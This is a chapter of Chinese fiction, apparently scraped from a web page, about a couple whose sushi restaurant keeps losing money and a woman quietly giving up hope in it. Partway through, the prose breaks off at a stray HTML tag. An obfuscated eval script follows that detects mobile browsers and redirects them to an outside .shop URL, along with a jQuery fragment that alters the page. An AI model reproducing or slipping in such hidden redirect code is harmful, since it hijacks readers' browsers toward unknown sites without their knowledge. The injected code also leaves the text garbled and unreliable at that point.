店里的账本很厚，厚得像一本字典。开店第一天开始，每一笔支出都记在里面——装修、设备、桌椅、冰柜、餐具、酒水、食材、房租、工资、水电、税费。一页一页翻过去，全是钱，全是数字，全是曾经觉得未来会赚回来的东西。
下午三点，店里没客人。外面太阳很大，科技园的人还没下班。林深坐在吧台后面算账，计算器放在旁边，账本摊开。陆沉坐在对面抽烟。
“多少？”他问。
林深没抬头，继续按计算器。过了几秒：“九万六。”
陆沉点点头：“哦。”然后继续抽烟，像在讨论天气。没有惊讶，没有愤怒，甚至没有失望——因为这是这个月的亏损。上个月是十万三，再上个月是九万八，再往前已经记不清了。
林深把账本翻回第一页。第一页记录着装修款——三十七万八，后面还有各种追加：吊顶、灯光、吧台、包厢、投影。她记得装修公司第一次带他们来看毛坯房的时候，整个店空空荡荡，水泥墙、水泥地，什么都没有。那时候她站在门口，觉得未来就在眼前。一年多过去，未来没看见，账本倒是越来越厚了。
“如果不算装修呢？”陆沉忽然问。
林深笑了一下：“你还在算这个？”
“总得算。”
“那也亏。”
“亏多少？”
“十万左右。”
陆沉沉默下来，烟一根接一根抽。店里空调吹着风，冰柜发出低低的嗡鸣，外面偶尔有人路过，却没人进来。不知道从什么时候开始，他们已经习惯了亏损，习惯算账，习惯每天睁眼就面对数字。刚开店的时候不是这样，那时候每天营业额多两千，两个人能高兴半天。现在营业额多两千，连情绪波动都没有。因为房租六万，厨师工资几万，服务员工资几万，食材又是另一笔。每天一开门，钱就在流出去，营业额只是减缓流血，不是止血。
晚上六点终于开始上客。陆沉站在门口迎宾，脸上挂着笑，像什么事都没有。有时候林深会觉得神奇，明明中午还在看亏损，晚上还能笑着招呼客人。后来她明白了，不是不难受，是习惯了。
客人陆续坐满，寿司一盘一盘送出去，酒一瓶一瓶打开，看起来很热闹，像一家生意不错的店。只有他们知道，越热闹，有时候亏得越多。
八点左右老周来了。还是那群朋友，还是老位置，还是喝酒。
“陆总，最近怎么样？”
“挺好。”陆沉笑着回答。
林深站在吧台后面，听见这句话忽然有点恍惚。挺好——最近所有人都在说挺好。生意挺好，生活挺好，感情挺好。其实什么都不好，只是没人愿意承认。
老周喝到一半忽然说：“再撑半年，经济肯定回暖，到时候就好了。”桌上几个人都在点头，陆沉也点头：“对，再撑撑。”林深低头擦杯子，没有说话。因为她忽然发现自己已经很久没有幻想过“到时候”了。以前总觉得：下个月会好，夏天会好，园区扩建会好，年底会好，明年会好。可后来一个又一个时间节点过去，什么都没发生。有些东西不是努力就能改变，有些店不是坚持就能赚钱，有些人不是付出就会留下。她第一次明白这个道理，是从账本开始的。
十点多客人慢慢散去，店里重新安静下来。陆沉送走朋友，回来坐在吧台后面看着营业额发呆。今天生意不错，比平时好。换成以前两个人会开心，今天没有——因为他们都知道，这些钱填不满那个窟窿。
“林深。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17691740|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“嗯？”
“如果再坚持半年呢？”
她抬头，看见陆沉眼里的认真，忽然有些难受。因为直到现在，他还在相信，还在想办法，还在抓着最后一点希望。她没有立刻回答，过了很久才轻声说：“我不知道。”
这是她第一次说不知道。以前无论多难，她都会说：试试，想办法，再坚持一下。这一次没有。陆沉愣了一下，没再继续问。两个人安静地坐着，来福趴在吧台下面睡觉，尾巴偶尔晃一下。夜色越来越深，外面只剩路灯还亮着。
快打烊的时候夏禾来了。她刚约会结束，路过顺便进来看一眼。
“还没关门？”
“快了。”
“累死我了。”
她把包往椅子上一扔，熟练地翻冰箱拿饮料，像自己家一样。喝了两口以后忽然想起什么：“对了。”
“嗯？”
“我男朋友他们酒店最近又缺人。”
林深正在收银台核对营业额，头也没抬：“哦。”
“前台。”
“哦。”
“待遇还行。”
“哦。”
夏禾翻了个白眼：“你是复读机啊？”林深笑了一下：“我现在有店。”“行行行。”夏禾摆摆手，“当我没说。”话题很快过去，没人继续讨论，像一颗石子落进湖里，没有激起什么水花。
十一点半店里彻底安静下来，陆沉锁门。林深抱着账本站在吧台后面，忽然低头看了一眼最后那页数字——亏损，还是亏损。她慢慢把账本合上，啪，声音很轻。不知道为什么，那一刻她忽然觉得，这本账本不像账本，更像病历，记录着一家店一点一点失血的过程。而她已经很久没有幻想过这家店会赚钱了。